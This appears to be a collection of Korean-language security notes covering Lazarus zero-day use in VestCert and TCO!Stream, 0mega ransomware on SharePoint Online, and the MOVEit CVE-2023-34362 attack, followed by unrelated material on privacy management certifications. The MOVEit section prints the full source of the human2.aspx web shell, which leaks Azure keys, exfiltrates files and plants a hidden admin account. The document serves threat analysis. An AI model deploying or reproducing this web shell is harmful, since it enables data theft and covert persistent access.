- 북한 Lazarus 해킹 그룹이 INISAFE CrossWeb EX, MagicLine4NX 외에도 VestCert, TCO!Stream 제로데이 취약점 악용
> INISAFE CrossWeb EX, MagicLine4NX 취약점 또한 공격에 지속적으로 활용
- VestCert: 예티소프트社에서 제작한 Non-ActiveX 방식의 웹 보안 소프트웨어(공인인증서 프로그램)
- TCO!Stream: (주)엠엘소프트社에서 제작한 자산관리 프로그램
>TCO!Stream은 서버-클라이언트로 구성
> 서버: 소프트웨어 배포 및 원격제어 등의 기능을 제공
> 클라이언트: 서버와 통신을 위해 항상 3511/TCPListening 상태
- Lazarus는 지속해서 국내 사용 소프트웨어의 취약점을 찾아 공격에 악용하므로, 해당 소프트웨어를 사용할 경우 반드시 최신 버전 업데이트 적용
2 주요 내용
2.1 VestCert 취약점
- 공격자는 기업 내부로 최초 침입을 위해워터링 홀 기법을 사용
① 사용자가 취약한 버전의 VestCert가 설치된 환경에서 감염된 웹 사이트에 접속
② VestCert의 써드파티 라이브러리 실행 취약점으로 인해 PowerShell 실행
③ PowerShell을 이용해 C2 서버 접속 및 악성코드 다운, 실행
워터링 홀(Watering Hole) - 물웅덩이 근처에 매복해 먹잇감을 노리는 사자의 모습에서 유래 - 공격자는 대상에 대한 정보를 미리 수집하여, 자주 방문하는 웹 사이트를 알아낸 뒤 해당 사이트의 취약점을 이용해 침해하여 악성코드 업로드 - 피해자가 해당 웹 사이트에 접속할 경우 악성코드를 유포 - 특정대상을 대상으로 하거나, 해당 웹 사이트에 접속하는 모든 사용자들을 대상으로 할 수도 있음
써드파티 라이브러리 실행 취약점 - 써드파티(Third-party)란 제품이나 서비스의 개발과 관련하여 직접적으로 관련이 없는 외부 업체나 개인을 뜻 함 - 즉, 소프트웨어 개발에서 써드파티는 애플리케이션 개발자가 직접 개발하지 않은 외부 제공 요소 - 써드파티(Third-party) 라이브러리 실행 취약점은 애플리케이션에서 사용되는 외부 제공 라이브러리에 존재하는 보안 취약점을 의미
2.2 TCO!Stream
- 공격자는 최초 침입 후 내부 전파를 위해 TCO!Stream의 취약점을 이용
> 공격자는 자체 제작한 악성코드를 이용해 서버에서 특정 파일을 다운로드하고 실행하는 명령어를 생성하여 클라이언트에 전달
- 오메가(0mega) 랜섬웨어 그룹이 한 기업의 셰어포인트 온라인(SharePoint Online) 환경을 침해하는 데 성공 - 기존 랜섬웨어 공격과 달리 관리자 계정을 공략 - SaaS 애플리케이션을 대상으로 랜섬웨어 공격에 성공한 최초 사례
내용
- 기존의 SaaS 환경을 대상으로한 랜섬웨어 공격은 엔드포인트를 겨냥 > 이에 따라 기업에서는 랜섬웨어 대응을 위해 엔드포인트 보안에 많은 투자
- 오메가 그룹은 엔드포인트가 아닌 보안이 취약한 관리자 계정을 공략 > MS 글로벌(MS Global) 환경의 관리자 계정을 탐색 > 보안 설정이 제대로 적용되지 않은 계정을 찾아 크리덴셜 확보_인터넷 연결, MFA 미설정 계정 등 > 침해 계정을 이용해 AD 사용자 생성 (사용자명: 0mega) > 새롭게 생성한 계정에 가능한 모든 권한 부여 > 해당 계정을 사용해 기존 관리자 계정 삭제 및 라이브러리에 저장된 파일을 유출 (Node.js 모듈 sppull 활용) ※ sppull: 셰어포인트로부터 파일을 쉽고 간단하게 다운로드 할 수 있도록 개발되었으며, 셰어포인트 사용자들 사이에서 높은 인기를 지님 > 침해 사실을 알리고 요구 사항을 전달하기 위한 수천 개의 텍스트 파일을 업로드 (Node.js 모듈 got 사용)
기타
- SaaS 애플리케이션을 겨냥한 랜섬웨어 공격들은 대부분 엔드포인트로부터 시작 > 보안이 취약한 엔드포인트를 찾아 침해 후 파일 유출 및 암호화
- 이번 침해 사건으로 인해 대응 전략 수정이 요구됨 > SaaS 환경을 직접 침해해 자동화 기술로 데이터를 빼돌린 최초의 랜섬웨어 사례 ① SaaS 환경 중앙에서 공격을 할 수 있다는 것을 공격자들이 증명 ② 자동화 모듈을 가지고 데이터를 유출
- 최근 6개월 동안 기업 SaaS 환경을 겨냥한 사이버 공격이 크게 증가 > 지난 2년간 발생한 SaaS 공격을 다 합한 것보다 많음 > 많은 기업들이 SaaS 환경에 중요한 데이터를 보관하고 있기 때문 > 재택 근무의 확산의 영향
- SaaS를 사용하는 기업들은 엔드포인트만이 아니라 SaaS 환경 전체를 보호해야만 하는 상황
- 중요한 데이터의 안전한 협업 및 자동화된 파일 전송기능을 제공하는 MFT(Managed File Transfer) 소프트웨어
2. 취약점
- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점
- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함
- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음
- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]
> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]
영향받는 버전 - MOVEit Transfer 2023.0.0 (15.0) - MOVEit Transfer 2022.1.x (14.1) - MOVEit Transfer 2022.0.x (14.0) - MOVEit Transfer 2021.1.x (13.1) - MOVEit Transfer 2021.0.x (13.0) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]
- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]
2.1 CL0P 랜섬웨어 그룹 [6]
- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시
> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해
- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음
① SQL Injection 취약점 악용
> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드
② 웹쉘 통신 및 악성 행위 수행 [7]
> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신
헤더
옵션
설명
X-siLock-Step1
-1
- AppendHeader 응답 헤더를 통해Azure 정보 유출 - MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를GZIP으로 압축하여 반환
-2
-users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2 ("folderid"값지정)
특정 값 지정
-해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
-해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3 ("fileid" 값 지정)
특정 값 지정
-해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
- 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>
<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<script runat="server">
private Object connectDB() {
var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
bool flag = false;
string text = null;
flag = MySQLConnect.Connect();
if (!flag) {
return text;
}
return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
var pass = Request.Headers["X-siLock-Comment"];
if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
Response.StatusCode = 404;
return;
}
Response.AppendHeader("X-siLock-Comment", "comment");
var instid = Request.Headers["X-siLock-Step1"];
string x = null;
DbConn MySQLConnect = null;
var r = connectDB();
if (r is String) {
Response.Write("OpenConn: Could not connect to DB: " + r);
return;
}
try {
MySQLConnect = (DbConn) r;
if (int.Parse(instid) == -1) {
string azureAccout = SystemSettings.AzureBlobStorageAccount;
string azureBlobKey = SystemSettings.AzureBlobKey;
string azureBlobContainer = SystemSettings.AzureBlobContainer;
Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
Response.AppendHeader("AzureBlobKey", azureBlobKey);
Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nInstID,InstName,ShortName\n";
query1 = "select id, name, shortname from institutions";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
set.MoveNext();
}
}
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
writer.Write(reStr);
}
}
} else if (int.Parse(instid) == -2) {
var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
} else {
var fileid = Request.Headers["X-siLock-Step3"];
var folderid = Request.Headers["X-siLock-Step2"];
if (fileid == null && folderid == null) {
SessionIDManager Manager = new SessionIDManager();
string NewID = Manager.CreateSessionID(Context);
bool redirected = false;
bool IsAdded = false;
Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
string username = "";
var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
var query1 = "";
if (!set.EOF) {
username = (String) set["Username"].Value;
} else {
username = RandomString(16);
query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
}
query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
} else {
DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
SILGlobals siGlobs = new SILGlobals();
siGlobs.FileSystemFactory.Create();
EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
st.CopyTo(gzipStream);
}
}
}
} catch (Exception) {
Response.StatusCode = 404;
return;
} finally {
MySQLConnect.Disconnect();
}
return;
}
</script>
- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨
- 각종 위협으로부터 주요 정보자산을 보호하기 위해 수립ㆍ관리ㆍ운영하는 종합적인 체계 - 기업이 고객의 개인정보 보호활동을 체계적ㆍ지속적으로 수행하기 위해 필요한 일련의 조치 - 기업이 정보주체의 개인정보를 안전하게 보호할 수 있도록 기술적ㆍ관리적ㆍ물리적ㆍ조직적인 다양한 보호대책을 구현하고 지속적으로 관리ㆍ운영하는 종합적인 체계
등장배경
- 고객 개인정보는 비즈니스 이익 창출의 원동력과 유출사고로 인한 리스크 요소 - 침해시도 행위의 목적은 기존의 실력과시에서 금전적 이익 획득으로 변화하고 있음 - OECD의 개인정보보호 8원칙이 최초 국제규범으로 채택되고 대다수의 국가가 개인정보보호법을 보유 - 전사적 차원의 개인정보보호활동에 대한 기존의 기밀정보 보호중심의 보호체계의 한계 - 개인정보 침해사고로 인한 법률 분쟁시, 개인정보보호 노력에 대한 객관적 증빙 필요
기대효과
외부
- 적절한 법률적 대응 - 대내외 신뢰 증진
내부
- 개인정보 관리수준 제고 및 지속적 유지 - 유출사고로 인한 재산 피해와 사전 보호대책을 위한 지나친 투자비용 남용 방지 - 개인정보보호 관련 기술 및 노하우 축적
구분
개인정보보호 관리체계
수립시 고려사항
- (보호대상) 조직이 보호해야 하는 고객의 개인정보와 그 가치의 근거 - (처리과정) 고객의 개인정보의 수집, 이용, 전달, 저장, 파기 과정 - (보호수준) 고객의 개인정보의 적절한 관리와 보호의 수준 - (보호방안) 고객의 개인정보의 보호를 위한 적절한 방법
위험요소
- (기밀성) 허가되지 않은 사람에 대한 개인정보자산의 노출 여부 - (무결성) 허가되지 않은 사람에 의한 개인정보자산의 변경ㆍ훼손 여부 - (준거성) 관련하여 법률적으로 규정된 사항에 대한 준수 여부
관리절차 (PDCA)
- (계획) 명확한 목표 설정 및 전략 수립 - (실행) 수립된 계획을 실행 - (검토) 수립된 계획대비 실행의 결과를 검토 - (반영) 검토결과를 차기 계획에 반영
2. 국내외 개인정보보호 관리체계
구분
내용
국가
인증명
주간기관
비고
개인정보 보호 마크제도
개인정보보호 관련 일정 요건을 갖춘 사이트 대상 마크 부여
미국
BBBOnline 마크제도
미국 경영개선협회
개인정보방침 심사
일본
프라이버시 마크제도
일본정보처리 개발협회 (JIPDEC)
개인정보보호 체계심사
개인정보보호 관리체계 인증 제도
개인정보를 안전하게 보호할 수 있도록 기술적ㆍ관리적ㆍ물리적ㆍ조직적인 다양한 보호대책을 구현하고 지속적으로 관리ㆍ운영하는 종합적인 체계
한국
ISMS-P (정보보호 및 개인정보보호 관리체계 인증)
과기부, 개보위
정보보호 및 개인정보 보호 관리체계 인증 (적용대상) 개인정보의 흐름과 정보보호 영역 인증
국제표준
ISO 27001
ISO/IEC
경영시스템 중 정보보호관리체계 시스템 심사 및 인증
영국
BS 10012
BSI Group
개인정보경영시스템(PIMS) 심사 및 인증
공공기관의 개인정보 보호 평가제도
공공기관의 개인정보 관리체계 및 유출 예방 활동 등을 진단하여 국민의 개인정보가 안전하게 관리될 수 있는 기반 조성을 유도하기 위한 제도
한국
PIA (개인정보 영향평가)
개보위
개인정보 영향평가 (적용대상) 개인정보 파일을 구축ㆍ운영 또는 변경하려는 공공기관
개인정보보호 수준진단
개보위
공공기관 관리수준 진단 (적용대상) 중앙행정기관 및 산하 공공기관, 지방자치단체, 지방공기업